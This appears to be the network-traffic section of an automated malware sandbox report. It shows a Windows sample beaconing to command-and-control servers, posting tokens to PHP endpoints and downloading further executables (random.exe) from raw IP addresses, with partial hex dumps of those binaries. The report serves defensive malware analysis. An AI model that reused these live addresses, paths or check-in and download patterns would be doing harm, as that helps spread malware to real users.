01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@2u3@WkHo2o2 @.rsrcH@.idata @qpewlefn++@ffodathmp2X2@.taggant02"\2@
Nov 17, 2024 03:42:50.052000999 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:42:50.052020073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:42:50.052035093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:42:50.052057981 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:42:50.052073956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~;aZC'g~aZC'g\|#6"jZ{#V'g\|#6JZ{#V'g\|'#6Z{
Nov 17, 2024 03:42:50.052092075 CET	1236	IN	Data Raw: 56 c5 27 67 c2 7c ef fb 7b 9b ac 23 36 4a 0a ed 9f fe aa 87 9e 06 c3 13 cf 5a eb 7b eb c7 e8 23 56 c5 27 67 c2 7c ef fb 63 9b ac 23 36 a2 1b ed 9f fe 0a 87 9e 06 c3 f3 ef 5a eb 7b 4b c7 e8 23 56 c5 27 67 c2 7c ef fb 8b 9b ac 23 36 fa 0a ed 9f fe Data Ascii: V'g\|{#6JZ{#V'g\|c#6Z{K#V'g\|#6SZ{+#V'g\|s#6&J3Z{#V'g\|#6z*Z{k#V'g\|#6sZ{#V'g\|+#6jZ{#V'g\|#6
Nov 17, 2024 03:42:50.052109957 CET	1236	IN	Data Raw: 9e 06 c3 d3 dd 5a eb 7b ab a3 e8 23 56 c5 27 67 c2 7c ff fb cb 99 ac 23 36 d2 0a ed 9f fe ca 8a 9e 06 c3 b3 dd 5a eb 7b 0b a2 e8 23 56 c5 27 67 c2 7c e3 fb 43 99 ac 23 36 a6 1d ed 9f fe aa 8a 9e 06 c3 13 dc 5a eb 7b eb a2 e8 23 56 c5 27 67 c2 7c Data Ascii: Z{#V'g\|#6Z{#V'g\|C#6Z{#V'g\|W#6Z{K#V'g\|#62SZ{+#V'g\|#6BJ3Z{#V'g\|#6r*Z{k#V'g\|'#6sZ{#V'g\|
Nov 17, 2024 03:42:50.052123070 CET	136	IN	Data Raw: 27 9d ac 23 36 ea 05 ed 9f fe 8a 8e 9e 06 c3 73 e2 5a eb 7b cb ae e8 23 56 c5 27 67 c2 7c fb fb 4b 9d ac 23 36 02 18 ed 9f fe 6a 81 9e 06 c3 d3 e2 5a eb 7b ab ae e8 23 56 c5 27 67 c2 7c ef fb c7 9d ac 23 36 92 1e ed 9f fe ca 81 9e 06 c3 b3 e2 5a Data Ascii: '#6sZ{#V'g\|K#6jZ{#V'g\|#6Z{#V'g\|#6Z{#V'g\|#6
Nov 17, 2024 03:42:50.052140951 CET	1236	IN	Data Raw: 9f fe 0a 81 9e 06 c3 f3 ed 5a eb 7b 4b a9 e8 23 56 c5 27 67 c2 7c ef fb e3 9d ac 23 36 72 19 ed 9f fe ea 81 9e 06 c3 53 ec 5a eb 7b 2b a9 e8 23 56 c5 27 67 c2 7c f3 fb 0b 9d ac 23 36 9a 19 ed 9f fe 4a 80 9e 06 c3 33 ec 5a eb 7b 8b a9 e8 23 56 c5 Data Ascii: Z{K#V'g\|#6rSZ{+#V'g\|#6J3Z{#V'g\|#6Z{k#V'g\|#6sZ{#V'g\|[#6jZ{#V'g\|k#6Z{#V'g\|#6Z{#V'
Nov 17, 2024 03:42:50.057136059 CET	1236	IN	Data Raw: c2 93 a8 2f c4 07 7f 2c 5a 06 bb 7b 3b 0b ee 23 56 c5 27 67 c2 d2 27 67 c2 d2 27 67 c2 d2 27 67 c2 9d a0 2f 37 22 68 ec 9f 9b 20 22 5a c7 2e 67 c2 4b 66 07 54 9d 58 a4 45 1a 32 2d 2b 1b ac 23 6f fe c4 3c 98 06 6e 6f 9a e8 ac 1b 9e 6a e6 f9 83 48 Data Ascii: /,Z{;#V'g'g'g'g/7"h "Z.gKfTXE2-+#o<nojHCDHfm\C)/c"GjYZ2 #'g'g7C)'g'gKfT{w#@a'g'gKfTI+e=-{ HC..fm\C.g'g'g'gKf`+Z>#6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50009	185.215.113.206	80	5908	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:42:56.583091021 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KFBFCAFCBKFIEBFHIDBA--
Nov 17, 2024 03:42:57.990304947 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50121	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:44:04.619004965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 03:44:05.538301945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 02:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50122	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:44:07.050796986 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 17, 2024 03:44:07.964284897 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 02:44:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 38 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 38 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 38 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 38 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006803001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006804001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006805001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1006806001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50123	185.215.113.16	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:44:07.972870111 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 03:44:08.865231991 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 02:44:08 GMT Content-Type: application/octet-stream Content-Length: 1879040 Last-Modified: Sun, 17 Nov 2024 02:26:50 GMT Connection: keep-alive ETag: "6739546a-1cac00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 3c ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDJ@J<@\p x@.rsrc @.idata @ *@ztzrdlcs0@iikwfpakJ@.taggant0J"@
Nov 17, 2024 03:44:08.865295887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:44:08.865334034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:44:08.865367889 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 03:44:08.865405083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 67 04 0b ef e2 80 5b c3 e7 4e 17 04 12 53 8c 93 66 fb 9c e6 78 4c 2d 54 66 47 ac 2b 64 c9 b6 d2 ea 49 45 2b 37 a8 5f ff a7 42 ac 2f 6f 83 1e 98 a7 06 e3 6b 32 13 78 bd e4 40 c3 cb Data Ascii: `g[NSfxL-TfG+dIE+7_B/ok2x@<Vjp'haLCt_m}rej{frDT7Zs(>AC{#'>#Aos{asYT?K>E/ZE51u `Ee(i_1N1mFb\n]
Nov 17, 2024 03:44:08.865439892 CET	1236	IN	Data Raw: 81 e2 d9 05 0d a8 5f 8e a4 a7 13 d4 5c b2 78 cd 54 14 64 9a ac 01 66 ea 7b b3 b2 42 57 ca 90 cb 6e ef 23 98 ad 30 3c d0 6f ac 2c 34 75 7b 0c 2a 0c d9 cd 75 7f ea d0 6c ad 68 9a 03 b4 a3 18 18 29 d2 53 e8 5a 09 77 e1 fd ef 85 8a d4 69 21 f3 5e e6 Data Ascii: _\xTdf{BWn#0<o,4u{*ulh)SZwi!^W\:zK(s_<4b?InD?C^D6mwg#"_7dDvJ#\.(i%u$$/oc\|Dv{`.Y$0R`S{T\P!u8"
Nov 17, 2024 03:44:08.865477085 CET	1236	IN	Data Raw: 22 3b 66 18 fe a8 38 48 f3 52 2e 10 76 a8 47 2a ca 30 60 c3 cc 13 f0 8d 7c 0e 61 b3 c5 cb 33 47 41 38 e6 18 3e 2e 66 58 ff 51 aa fb d8 09 60 c9 f8 2a 88 43 76 45 0f a2 ce e9 36 16 3f bb ee 86 8b 50 6d 81 c8 e9 30 53 7c d9 45 70 26 ff f9 52 ae ef Data Ascii: ";f8HR.vG0`\|a3GA8>.fXQ`CvE6?Pm0S\|Ep&R=0)gcP[;Q~\|.&,aRD1Q(Lwc;3&p<&~+]*ePg#K1tNaIsq$X+=` Ir2QsRyYb
Nov 17, 2024 03:44:08.865510941 CET	1236	IN	Data Raw: 3a cf 34 7d 98 1a 42 d7 2d 4f 97 22 2c ff 25 44 a7 ee 54 b6 0e 00 56 7e 02 b7 d9 46 9c 18 69 3c 94 ec dc 9f e3 6a 3c 4c 6c 89 55 3b 56 12 2e 02 e3 e9 68 79 f5 99 c6 f2 97 95 bf 40 a6 3b 4e 98 20 68 28 7b 7d 51 a3 9b 8b 7e 64 da d5 fc 13 6f d8 5a Data Ascii: :4}B-O",%DTV~Fi<j<LlU;V.hy@;N h({}Q~doZajWf$m,K#[=Y;>z@Xt%Piwfu=#d$?"h'?mXu#u2ZCN~W7e0Uq*{##NX+TOI;(FO!y%
Nov 17, 2024 03:44:08.865545988 CET	1236	IN	Data Raw: 0e bb 85 69 f2 75 29 d1 9b 69 12 4c ae 10 23 35 3d e4 e5 2c c2 15 68 08 7f 53 b5 a3 58 c5 77 b8 80 09 75 da ec aa 24 31 0f 25 1e 0d 33 b3 43 58 6f 21 e3 fd b6 1c a1 50 26 88 7a 10 49 96 f2 59 b0 e3 6e 79 9f fc 3a 42 cc 8d 3c 5c 47 df 4d 83 63 a6 Data Ascii: iu)iL#5=,hSXwu$1%3CXo!P&zIYny:B<\GMcMa6`p\p.qB _L-`@@YdO3<gMYmyG3t#Wt3\|EfkG'Jrr,`y6yvsPF[Wnjw$jU9e@w>Zc
Nov 17, 2024 03:44:08.865582943 CET	660	IN	Data Raw: 27 64 e4 8d db 6c 37 da a1 80 37 2e a9 7b 6c 47 20 6d 17 32 c6 cf 21 70 13 ef 53 32 fe 07 e5 68 f2 bd 06 ba 9e 66 24 42 9f b9 20 46 5c f0 4c ab 70 bb 6b 81 c5 6b 31 88 53 2b 50 77 7e ec 11 02 69 7c 13 a6 1b e6 14 a7 a2 aa b5 d2 a5 63 3c c9 e1 fd Data Ascii: 'dl77.{lG m2!pS2hf$B F\Lpkk1S+Pw~i\|c<%iCO&\J m`-IE]'8{Y#Xo^y,;RbZv_e+Cvcw+jhPkb*L0[)P\|_i"g]0?Bk>p`.a,P7=Q`
Nov 17, 2024 03:44:08.870582104 CET	1236	IN	Data Raw: 63 12 6e 06 6f 8d 98 57 af 6f 55 f1 5f 82 63 90 4f 3e 6c dc 5b 08 c2 dd 8d b6 f7 90 b6 e3 76 50 7a 19 2c 40 67 18 c5 16 48 6b f5 0a 16 eb 44 95 6b 6b ad c2 f9 b8 43 09 5e 29 65 16 26 7d 37 bf 72 59 66 c0 cf 16 68 08 f2 4c 3c 73 7f cf 77 3c f7 fa Data Ascii: cnoWoU_cO>l[vPz,@gHkDkkC^)e&}7rYfhL<sw<>.N4^,+6Lboi"7;4=&G[Q,S QmmkbPL@N../aoe/^I)_L'a5\\|ZW=_=8m7xHqapvIeRm;HB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	172.217.18.100	443	7244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:19 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 02:42:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-aueCgMZGwUThmLj39PXuDg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 02:42:19 UTC	112	IN	Data Raw: 62 61 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 22 2c 22 63 6f 62 72 61 20 6b 61 69 20 73 65 61 73 6f 6e 20 36 20 6e 65 74 66 6c 69 78 22 2c 22 77 65 61 74 68 65 72 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 20 73 61 72 61 22 2c 22 66 69 72 65 68 6f 75 73 65 20 73 75 62 73 20 76 65 74 65 72 Data Ascii: ba0)]}'["",["dallas cowboys","cobra kai season 6 netflix","weather tropical storm sara","firehouse subs veter
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 61 6e 73 20 64 61 79 22 2c 22 66 69 6c 69 70 20 63 68 79 74 69 6c 20 69 6e 6a 75 72 79 22 2c 22 68 61 6c 66 20 6c 69 66 65 20 32 20 32 30 74 68 20 61 6e 6e 69 76 65 72 73 61 72 79 20 75 70 64 61 74 65 22 2c 22 7a 6f 64 69 61 63 20 73 69 67 6e 73 20 64 61 69 6c 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 2c 22 6e 61 73 61 20 73 70 61 63 65 20 73 74 61 74 69 6f 6e 20 6c 65 61 6b 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 Data Ascii: ans day","filip chytil injury","half life 2 20th anniversary update","zodiac signs daily horoscope today","nasa space station leak"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 34 65 48 45 79 64 6d 4a 74 53 45 31 6e 65 6d 63 31 63 46 5a 59 64 32 39 68 4d 30 46 4d 56 7a 6c 33 63 6d 4a 73 57 45 31 58 4e 32 52 75 5a 48 4e 34 64 46 41 31 54 56 70 70 5a 69 39 42 54 47 39 4e 56 54 4a 43 55 58 4a 69 56 6e 52 4f 64 54 6c 4a 63 32 74 32 63 6a 59 7a 61 57 35 70 61 56 64 4c 55 30 39 55 63 6b 6c 6a 65 44 64 73 56 6d 64 35 55 58 6c 42 4e 57 70 4e 59 57 74 49 51 6a 68 7a 56 6c 4a 55 56 45 6c 75 4d 44 46 69 4b 7a 4e 68 51 32 46 4c 56 46 42 53 55 56 68 6a 65 56 42 4f 61 6e 56 56 52 44 4a 78 4e 56 56 6c 63 6c 70 44 61 6a 46 4a 63 48 5a 45 65 6b 70 71 54 6c 52 6d 4d 55 4e 6d 61 79 74 43 56 32 78 31 62 79 74 4e 56 6d 74 75 4e 44 63 78 54 58 5a 4b 54 54 56 77 65 6c 56 4b 59 6b 35 46 61 6c 4d 78 4e 6e 42 73 53 44 64 79 52 31 56 50 62 57 5a 61 56 48 Data Ascii: 4eHEydmJtSE1nemc1cFZYd29hM0FMVzl3cmJsWE1XN2RuZHN4dFA1TVppZi9BTG9NVTJCUXJiVnROdTlJc2t2cjYzaW5paVdLU09UckljeDdsVmd5UXlBNWpNYWtIQjhzVlJUVEluMDFiKzNhQ2FLVFBSUVhjeVBOanVVRDJxNVVlclpDajFJcHZEekpqTlRmMUNmaytCV2x1bytNVmtuNDcxTXZKTTVwelVKYk5FalMxNnBsSDdyR1VPbWZaVH
2024-11-17 02:42:19 UTC	115	IN	Data Raw: 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-17 02:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	172.217.18.100	443	7244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:19 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 02:42:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: 